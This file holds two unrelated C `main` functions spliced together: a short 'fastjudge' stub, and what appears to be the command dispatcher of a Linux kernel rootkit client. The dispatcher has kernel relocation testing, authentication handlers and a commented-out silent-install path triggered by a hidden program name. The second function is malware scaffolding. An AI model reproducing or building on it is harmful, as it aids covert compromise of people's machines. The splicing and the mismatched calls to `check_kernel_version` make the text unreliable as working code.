int main(void) { infof("fastjudge 0.0.1"); kernel_version_t version; check_kernel_version(&version); EV_P = EV_DEFAULT; return 0; }
/* analyze args and take the proper action */ int main(int argc, char *argv[], char *envp[]) { opt *o; char c; if (!argc) return 0; argv0 = argv[0]; if (argc == 2) { if (!strcmp(argv[1], "reloctest")) { printf("%d\n", reloctest((void *) kernel_start, (void *) kernel_end)); return 0; } if (!strcmp(argv[1], "showident")) { printf("ident for this copy is: %s\n", IDENT); return 0; } } setbuf(stdout, NULL); setbuf(stderr, NULL); if (sk_config(argv[0])) return 1; if (check_kernel_version()) return 1; /* l = strlen(argv[0]); if ((l >= strlen(cfg.hidestr)) && (!strcmp((argv[0] + l - strlen(cfg.hidestr)), cfg.hidestr))) return do_install_silent(0, NULL); */ if (argc <= 1) return usage(argv[0]); if (strlen(argv[1]) != 1) return usage(argv[0]); c = argv[1][0]; for (o = opts; o->opt; o++) if ((c == o->opt) && ((argc - 2) <= (o->args + o->optargs)) && ((argc - 2) >= (o->args))) { switch (o->auth) { case AUTH_GLOBAL: auth_global(); break; case AUTH_LOCAL: auth_local(); break; default:; } return o->handler(argc - 2, &argv[2]); } return usage(argv[0]); }